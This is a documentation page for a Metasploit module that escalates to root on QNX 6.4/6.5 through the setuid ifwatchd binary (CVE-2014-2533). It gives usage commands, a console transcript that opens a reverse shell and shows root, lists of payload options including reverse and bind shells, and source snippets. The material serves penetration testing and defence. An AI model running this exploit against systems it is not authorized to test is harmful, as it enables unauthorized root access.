ifwatchd Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/qnx/local/ifwatchd_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: ifwatchd Privilege Escalation
Module: exploit/qnx/local/ifwatchd_priv_esc
Source code: modules/exploits/qnx/local/ifwatchd_priv_esc.rb
Disclosure date: 2014-03-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-2533

This module attempts to gain root privileges on QNX 6.4.x and 6.5.x systems by exploiting the ifwatchd suid executable. ifwatchd allows users to specify scripts to execute using the '-A' command line argument; however, it does not drop privileges when executing user-supplied scripts, resulting in execution of arbitrary commands as root. This module has been tested successfully on QNX Neutrino 6.5.0 (x86) and 6.5.0 SP1 (x86).

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/qnx/local/ifwatchd_priv_esc
msf exploit(ifwatchd_priv_esc) > show targets
    ... a list of targets ...
msf exploit(ifwatchd_priv_esc) > set TARGET target-id
msf exploit(ifwatchd_priv_esc) > show options
    ... show and set options ...
msf exploit(ifwatchd_priv_esc) > set SESSION session-id
msf exploit(ifwatchd_priv_esc) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Description

This module attempts to gain root privileges on QNX 6.4.x and 6.5.x systems by exploiting the ifwatchd suid executable.

Vulnerable Application

ifwatchd allows users to specify scripts to execute using the -A command line argument; however, it does not drop privileges when executing user-supplied scripts, resulting in execution of arbitrary commands as root.

This module has been tested successfully on:

  • QNX Neutrino 6.5.0 (x86)
  • QNX Neutrino 6.5.0 SP1 (x86)

QNX Neutrino 6.5.0 Service Pack 1 is available here:

  • http://www.qnx.com/download/feature.html?programid=23665

Verification Steps

  1. Start msfconsole
  2. use exploit/qnx/local/ifwatchd_priv_esc
  3. set session <ID>
  4. run
  5. You should get a root session

Options

SESSION

Which session to use, which can be viewed with sessions

WritableDir

A writable directory file system path. (default: /tmp)

Scenarios

  msf5 > use exploit/qnx/local/ifwatchd_priv_esc
  msf5 exploit(qnx/local/ifwatchd_priv_esc) > set session 1 
  session => 1
  msf5 exploit(qnx/local/ifwatchd_priv_esc) > set lhost 172.16.191.188
  lhost => 172.16.191.188
  msf5 exploit(qnx/local/ifwatchd_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing interface arrival event script...
  [*] Executing /sbin/ifwatchd...
  [*] Command shell session 2 opened (172.16.191.188:4444 -> 172.16.191.215:65500) at 2018-03-22 15:18:48 -0400

  id
  uid=100(test) gid=100 euid=0(root)
  uname -a
  QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86

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Msfconsole Usage

Here is how the qnx/local/ifwatchd_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/qnx/local/ifwatchd_priv_esc

[*] Using configured payload cmd/unix/reverse_awk
msf6 exploit(qnx/local/ifwatchd_priv_esc) > show info

       Name: ifwatchd Privilege Escalation
     Module: exploit/qnx/local/ifwatchd_priv_esc
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-10

Provided by:
  cenobyte
  Tim Brown
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module attempts to gain root privileges on QNX 6.4.x and 6.5.x 
  systems by exploiting the ifwatchd suid executable. ifwatchd allows 
  users to specify scripts to execute using the '-A' command line 
  argument; however, it does not drop privileges when executing 
  user-supplied scripts, resulting in execution of arbitrary commands 
  as root. This module has been tested successfully on QNX Neutrino 
  6.5.0 (x86) and 6.5.0 SP1 (x86).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-2533
  http://www.securityfocus.com/bid/66449
  https://www.exploit-db.com/exploits/32153
  http://seclists.org/bugtraq/2014/Mar/66

Module Options

This is a complete list of options available in the qnx/local/ifwatchd_priv_esc exploit:

msf6 exploit(qnx/local/ifwatchd_priv_esc) > show options

Module options (exploit/qnx/local/ifwatchd_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (cmd/unix/reverse_awk):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the qnx/local/ifwatchd_priv_esc exploit:

msf6 exploit(qnx/local/ifwatchd_priv_esc) > show advanced

Module advanced options (exploit/qnx/local/ifwatchd_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                10               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (cmd/unix/reverse_awk):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the qnx/local/ifwatchd_priv_esc module can exploit:

msf6 exploit(qnx/local/ifwatchd_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the qnx/local/ifwatchd_priv_esc exploit:

msf6 exploit(qnx/local/ifwatchd_priv_esc) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_awk                      normal  No     Unix Command Shell, Bind TCP (via AWK)
   1  payload/cmd/unix/generic                       normal  No     Unix Command, Generic Command Execution
   2  payload/cmd/unix/reverse_awk                   normal  No     Unix Command Shell, Reverse TCP (via AWK)

Evasion Options

Here is the full list of possible evasion options supported by the qnx/local/ifwatchd_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(qnx/local/ifwatchd_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IFWATCHD_PATH> is not setuid

Here is a relevant code snippet related to the "<IFWATCHD_PATH> is not setuid" error message:

75:	    datastore['WritableDir']
76:	  end
77:	
78:	  def check
79:	    unless setuid? ifwatchd_path
80:	      vprint_error "#{ifwatchd_path} is not setuid"
81:	      return CheckCode::Safe
82:	    end
83:	    vprint_good "#{ifwatchd_path} is setuid"
84:	
85:	    CheckCode::Detected

Target not vulnerable

Here is a relevant code snippet related to the "Target not vulnerable" error message:

85:	    CheckCode::Detected
86:	  end
87:	
88:	  def exploit
89:	    unless check == CheckCode::Detected
90:	      fail_with Failure::NotVulnerable, 'Target not vulnerable'
91:	    end
92:	
93:	    if is_root?
94:	      fail_with Failure::BadConfig, 'Session already has root privileges'
95:	    end

Session already has root privileges

Here is a relevant code snippet related to the "Session already has root privileges" error message:

89:	    unless check == CheckCode::Detected
90:	      fail_with Failure::NotVulnerable, 'Target not vulnerable'
91:	    end
92:	
93:	    if is_root?
94:	      fail_with Failure::BadConfig, 'Session already has root privileges'
95:	    end
96:	
97:	    unless writable? base_dir
98:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
99:	    end

<BASE_DIR> is not writable

Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

93:	    if is_root?
94:	      fail_with Failure::BadConfig, 'Session already has root privileges'
95:	    end
96:	
97:	    unless writable? base_dir
98:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
99:	    end
100:	
101:	    script_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
102:	
103:	    print_status 'Writing interface arrival event script...'

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References

See Also

Check also the following modules related to this module:

Authors

  • cenobyte
  • Tim Brown
  • bcoles

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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